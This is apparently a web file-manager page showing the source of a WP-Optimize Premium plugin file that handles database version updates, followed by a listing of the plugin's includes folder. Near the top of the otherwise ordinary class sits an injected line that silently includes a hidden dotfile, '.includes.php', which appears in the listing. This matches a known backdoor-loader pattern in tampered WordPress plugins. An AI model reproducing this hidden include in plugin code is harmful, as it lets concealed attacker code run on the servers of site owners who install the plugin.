PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wp-optimize-premium.3.0.16
/
includes
<?php /** * WP_Optimize_Updates class using for run updates in database from version to version. */ if (!defined('ABSPATH')) die('Access denied.'); if (!class_exists('WP_Optimize_Updates')) : if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WP_Optimize_Updates { /** * Format: key=<version>, value=array of method names to call * Example Usage: * private static $db_updates = array( * '1.0.1' => array( * 'update_101_add_new_column', * ), * ); * * @var Mixed */ private static $updates = array( '3.0.12' => array('delete_old_locks'), ); /** * See if any database schema updates are needed, and perform them if so. * Example Usage: * public static function update_101_add_new_column() { * $wpdb = $GLOBALS['wpdb']; * $wpdb->query('ALTER TABLE tm_tasks ADD task_expiry varchar(300) AFTER id'); * } */ public static function check_updates() { $our_version = WPO_VERSION; $db_version = get_option('wpo_update_version'); if (!$db_version || version_compare($our_version, $db_version, '>')) { foreach (self::$updates as $version => $updates) { if (version_compare($version, $db_version, '>')) { foreach ($updates as $update) { call_user_func(array(__CLASS__, $update)); } } } update_option('wpo_update_version', WPO_VERSION); } } /** * Delete old semaphore locks from options database table. */ public static function delete_old_locks() { global $wpdb; // using this query we delete all rows related to locks. $query = "DELETE FROM {$wpdb->options}". " WHERE (option_name LIKE ('updraft_semaphore_%')". " OR option_name LIKE ('updraft_last_lock_time_%')". " OR option_name LIKE ('updraft_locked_%')". " OR option_name LIKE ('updraft_unlocked_%'))". " AND ". "(option_name LIKE ('%smush')". " OR option_name LIKE ('%load-url-task'));"; $wpdb->query($query); } } endif;
[+]
..
[-] class-updraft-logger-interface.php
[edit]
[-] class-updraft-logger.php
[edit]
[-] wp-optimize-notices.php
[edit]
[-] class-updraft-resmushit-task.php
[edit]
[-] class-wp-optimize-htaccess.php
[edit]
[-] class-wp-optimize-install-or-update-notice.php
[edit]
[-] class-wp-optimize-queue-task.php
[edit]
[-] class-updraft-smush-task.php
[edit]
[-] class-wp-optimization.php
[edit]
[-] class-wp-optimize-lazy-load.php
[edit]
[-] class-wp-optimize-transients-cache.php
[edit]
[-] backward-compatibility-functions.php
[edit]
[-] class-updraft-email-logger.php
[edit]
[-] class-wp-optimize-updates.php
[edit]
[-] class-semaphore.php
[edit]
[-] class-updraft-nitrosmush-task.php
[edit]
[-] class-wp-optimize-gzip-compression.php
[edit]
[-] class-commands.php
[edit]
[-] class-wp-optimize-browser-cache.php
[edit]
[-] class-updraft-log-levels.php
[edit]
[-] class-updraft-php-logger.php
[edit]
[-] class-wp-optimizer.php
[edit]
[-] class-wp-optimize-images-trash-task.php
[edit]
[-] class-wp-optimization-images-shutdown.php
[edit]
[-] class-updraftcentral-wp-optimize-commands.php
[edit]
[-] class-updraft-smush-manager-commands.php
[edit]
[-] updraftcentral.php
[edit]
[-] class-wp-optimize-tasks-queue.php
[edit]
[-] class-updraft-file-logger.php
[edit]
[-] wp-optimize-database-information.php
[edit]
[-] class-updraft-ring-logger.php
[edit]
[-] class-wp-optimize-cron-scheduler.php
[edit]
[-] class-updraft-syslog-logger.php
[edit]
[-] class-wp-optimize-images-trash-manager.php
[edit]
[-] class-updraft-smush-manager.php
[edit]
[-] class-wp-optimize-images-trash-manager-commands.php
[edit]
[-] updraft-notices.php
[edit]
[-] class-updraft-slack-logger.php
[edit]
[-] class-wp-optimize-cli-command.php
[edit]
[-] class-wp-optimize-options.php
[edit]
[-] class-updraft-abstract-logger.php
[edit]
[-] .includes.php
[edit]
[-] class-updraft-simple-history-logger.php
[edit]